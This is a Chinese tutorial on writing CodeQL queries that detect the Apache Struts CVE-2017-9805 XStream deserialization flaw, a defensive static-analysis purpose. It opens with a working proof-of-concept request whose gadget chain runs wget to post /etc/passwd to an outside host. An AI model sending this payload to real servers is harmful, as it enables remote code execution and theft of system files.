CodeQL静态代码分析之编写篇

CodeQL静态代码分析之编写篇

本文将以CVE-2017-9805 Apache Struts不安全的反序列化这一漏洞作为示例来学习CodeQL查询语言的编写。为此,我们先从对此漏洞的原理进行分析开始。

漏洞分析

在漏洞分析前,我们先看此漏洞的POC HTTP报文。
POST /struts2-rest-showcase/orders/3 HTTP/1.1 Host: Connection: close Content-Length: 2551 Accept: */* Accept-Language: en Content-Type: application/xml Accept-Encoding: gzip <map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>wget</string><string>--post-file</string><string>/etc/passwd</string><string>ct44c0jkru78ctmvlk8gcdowrye46g7su.oast.site</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>asdasd</name></filter><next class="string">asdasd</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>
根据如上POC,我们再来分析CVE-2017-9805这个漏洞所产生的根本原因,原因就在于Struts2中的REST插件在解析XML类型的请求时,会调用XStreamHandler类进行处理,当传入到XStreamHandler类中的XML是一个经过XStream序列化的恶意对象时,便能够造成反序列化漏洞。
在Struts2中,用于拦截ContentType的Interceptor类是org.apache.struts2.rest.ContentTypeInterceptor,代码如下。
/** * Uses the content handler to apply the request body to the action */ public class ContentTypeInterceptor extends AbstractInterceptor { private static final long serialVersionUID = 1L; ContentTypeHandlerManager selector; @Inject public void setContentTypeHandlerSelector(ContentTypeHandlerManager sel) { this.selector = sel; } public String intercept(ActionInvocation invocation) throws Exception { HttpServletRequest request = ServletActionContext.getRequest(); ContentTypeHandler handler = selector.getHandlerForRequest(request); Object target = invocation.getAction(); if (target instanceof ModelDriven) { target = ((ModelDriven)target).getModel(); } if (request.getContentLength() > 0) { InputStream is = request.getInputStream(); InputStreamReader reader = new InputStreamReader(is); handler.toObject(reader, target); } return invocation.invoke(); } }
其中,ContentTypeInterceptor#intercept方法是用于识别负责处理请求的具体方法,如intercept方法中调用的getHandlerForRequest就是为请求获取相对应的处理方法,当请求的类型为XML时,此处就会实例化XStreamHandler类,随后对XStreamHandler#toObject进行调用,进而造成恶意的反序列化,如下便是关键所在,当内容长度大于0时,is来源于用户可控的请求正文,当攻击者传递一个恶意的XML内容时,便会进入至XStreamHandler#toObject方法中。
ContentTypeHandler handler = selector.getHandlerForRequest(request); // ... if (request.getContentLength() > 0) { InputStream is = request.getInputStream(); InputStreamReader reader = new InputStreamReader(is); handler.toObject(reader, target); }
以下是实现自org.apache.struts2.rest.handler.ContentTypeHandler接口的org.apache.struts2.rest.handler.XStreamHandler类,在XStreamHandler#toObject方法中直接调用了fromXML方法将攻击者传入的恶意XML内容反序列化成Java对象,最终就会受到不安全的反序列化攻击。
/** * Handles XML content */ public class XStreamHandler implements ContentTypeHandler { // ... public void toObject(Reader in, Object target) { XStream xstream = createXStream(); xstream.fromXML(in, target); } // ... }
而XStreamHandler#toObject方法实际上是重写自ContentTypeHandler接口中的一个可供重写的toObject方法,见如下。
/** * Handles transferring content to and from objects for a specific content type */ public interface ContentTypeHandler { /** * Populates an object using data from the input stream * @param in The input stream, usually the body of the request * @param target The target, usually the action class * @throws IOException If unable to write to the output stream */ void toObject(Reader in, Object target) throws IOException; // ... }

环境准备

关于CodeQL的安装与配置请参见前文《CodeQL自动化代码审计初探篇》,对于CVE-2017-9805 Apache Struts反序列化漏洞环境的CodeQL数据库,可通过如下链接进行下载至本地并解压,这样就无需自己生成了。

基础知识

关键词

首先是import关键词,与许多编程语言中的import类似,都是用于导入不同代码语言(python或java等)的库及其内部所有结构和逻辑。
import java
其次是三个核心关键词from、where和select,分别用于定义数据来源、过滤条件以及结果输出。
对于from的语法示例如下,from关键词用于声明查询中要使用的变量或数据来源,它定义了查询的输入范围,可以通过多个变量来表示不同的数据集合。
from VariableType varName
VariableType是变量的类型,表示要查询的数据。varName是变量的名称,用于在后续的where和select中引用。如下是实际的使用案例,通过MethodCall来查询所有的方法调用,并将其绑定到变量call上。
from MethodCall call
where关键词则用于指定查询的过滤条件,它会对from中定义的变量或数据进行筛选,只保留满足条件的部分。
where call.getMethod().getName() = "fromXML"
最后由select定义结果的输出。
select call, "XStream Deserialization."

类型

QL是一种静态类型的语言,对于其每一个变量都必须进行类型声明,其他常见的静态类型编程语言有C、Java等,非静态语言Python就是一个例子,稍微回忆下曾经的编码经历,就能回想起在C和Java中的每一个变量都需要定义类型,例如整数/浮点数类型、字符/字符串类型、类等,在Python中虽也讲究类型,但比较宽松随意,无需手动声明定义。
而QL中的类型,有原始类型、类、字符类型等。首先是原始类型,其中包括boolean、float、int、string、date,这些类型在常见编程语言中都能见到。对于类,与编程语言中也类似,都支持通过class关键词来定义一个类。
除了QL中自带的基本类型外,还可以通过导入库,用导入库中的类型,例如可以导入java库,并使用java中的类型,如下的MethodCall是一个类,用于调用带有参数列表的方法。
import java from MethodCall call select call, "call"
这里如果不导入java库,该类就不能被解析到。
// import java from MethodCall call // cloud not resolve type MethodCall
除了MethodCall外,还有例如RefType类则是各种引用类型(包括类、接口、类型参数和数组)的通用超类。

查找Sink

通过前面的相关知识的铺垫,可知fromXML方法是反序列化漏洞的最终执行点,因此对于Sink的查找,首要做的就是查找代码库中所有对fromXML方法的调用。
import java from MethodCall call where call.getMethod().getName() = "fromXML" select call, "XStream Deserialization."
notion image
如上查询语句中用到了getMethod和getName谓词,它们分别用于返回方法和返回方法的名称。
又根据前面的漏洞分析得知fromXML方法会反序列化其接收到的第一个参数,即索引为0的参数。于是我们可以进一步更新where条件语句,以查询出反序列化的参数。如下用到了Expr,这是由于参数是程序中的表达式,而Expr类是表示各种表达式的通用超类。
// MethodCall.getArgument(int i)返回第i个索引处的参数。 from MethodCall call, Expr arg where call.getMethod().getName() = "fromXML" and arg = call.getArgument(0) select call, arg
notion image

谓词

predicate(谓词)是CodeQL中的一种用于描述查询中某些逻辑条件或关系的表达式,它类似于一个可以返回布尔值的函数,可用于过滤数据或判断代码元素是否满足某个特定条件。
// 谓词允许你以可复用的格式封装逻辑条件 predicate isXMLDeserialized(Expr arg) { exists(MethodCall call | call.getMethod().getName() = "fromXML" and arg = call.getArgument(0) ) } from Expr arg where isXMLDeserialized(arg) select arg, "XStream Deserialization."
而exists则是一种引入范围有限的临时变量的机制,可以将其视为以上的from - where - select 。
最终的查询结果如下,与上面的结果差不多。
notion image

发现Source

在前面的漏洞分析中,我们发现漏洞源于实现自ContentTypeHandler接口并重写了其toObject方法的第一个参数值用户可控,于是我们可以创建一个名为ContentTypeHandlerToObject的类,用于识别在直接超类包括ContentTypeHandler的类中调用toObject的方法,如下所示,其中:
  • RefType:代表引用类型,包括类、接口、枚举等所有非基本的类型。
  • hasQualifiedName():识别具有给定包名和类名的类。
  • Method.getDeclaringType():标识方法的声明类型。
  • RefType.getASuperType():识别该类型的超类。
  • instanceof:用于判断某个对象是否属于指定的类或其子类。
class ContentTypeHandler extends RefType { ContentTypeHandler() { this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") } } class ContentTypeHandlerToObject extends Method { ContentTypeHandlerToObject() { this.getDeclaringType().getASupertype() instanceof ContentTypeHandler and this.hasName("toObject") } }
并且,还有一点的是,危险的toObject方法通常会将第一个参数视为不受信任的用户输入,所以继续编写一个查询来查找toObject方法的第一个参数,查询结果如下图。
from ContentTypeHandlerToObject toObjectMethod select toObjectMethod.getParameter(0)
notion image

数据流分析

数据流分析是一种静态分析方法,通常用于跟踪代码中不受信任的输入(Source)并查找它们是否用于危险函数(Sink),Source与Sink之间的连接就被称为数据流。而现在,我们已经确定了Source和Sink,是否能够将二者连接至一起?
幸运地是,CodeQL为Java提供了数据流分析作为标准库的一部分,可使用semmle.code.java.dataflow.DataFlow导入它 ,该库使用DataFlow::Node类对节点进行建模。
import semmle.code.java.dataflow.DataFlow
然后,通过如下一个模板,利用先前所创建的类或谓词来进行数据填充,重载isSource和isSink谓词。
/** * @name Unsafe XML deserialization * @kind problem * @id java/unsafe-deserialization */ import java import semmle.code.java.dataflow.DataFlow // TODO add previous class and predicate definitions here class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration { StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" } override predicate isSource(DataFlow::Node source) { exists(/** TODO fill me in **/ | source.asParameter() = /** TODO fill me in **/ ) } override predicate isSink(DataFlow::Node sink) { exists(/** TODO fill me in **/ | /** TODO fill me in **/ sink.asExpr() = /** TODO fill me in **/ ) } } from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink where config.hasFlow(source, sink) select sink, "Unsafe XML deserialization"
填充完后的内容如下。
/** * @name Unsafe XML deserialization * @kind path-problem // 将此查询的结果解释为路径结果 * @id java/unsafe-deserialization */ import java import semmle.code.java.dataflow.DataFlow // 在查询结果旁边报告路径数据 import DataFlow::PathGraph predicate isXMLDeserialized(Expr arg) { // exists是一种引入范围有限的临时变量的机制。您可以将它们视为自己的from - where - select exists(MethodCall call | call.getMethod().getName() = "fromXML" and arg = call.getArgument(0) ) } class ContentTypeHandler extends RefType { ContentTypeHandler() { // 使用魔术变量this来引用 RefType this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") } } // 创建一个名为ContentTypeHandlerToObject的类,用于在直接超类型包括ContentTypeHandler类上识别名为 toObject 方法。 class ContentTypeHandlerToObject extends Method { ContentTypeHandlerToObject() { // Method.getDeclaringType()标识方法的声明类型 // RefType.getASuperType()识别该类型的超类型 // instanceof断言超类型之一是ContentTypeHandler this.getDeclaringType().getASupertype() instanceof ContentTypeHandler and // Method.getName()来标识方法的名称。 this.hasName("toObject") } } class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration { StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" } override predicate isSource(DataFlow::Node source) { exists(ContentTypeHandlerToObject toObjectMethod | source.asParameter() = toObjectMethod.getParameter(0) ) } override predicate isSink(DataFlow::Node sink) { exists(Expr arg | isXMLDeserialized(arg) and sink.asExpr() = arg ) } } /* 更新查询,以便它不仅报告接收器,还报告源以及到该源的路径。 */ // from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink // 将source和sink变量从DataFlow::Node更改为DataFlow::PathNode,以确保节点保留路径信息 from StrutsUnsafeDeserializationConfig config, DataFlow::PathNode source, DataFlow::PathNode sink // where config.hasFlow(source, sink) where config.hasFlowPath(source, sink) // select sink, "Unsafe XML deserialization" select sink, source, sink, "Unsafe XML deserialization"
最终的查询结果如下图所示。
notion image

参考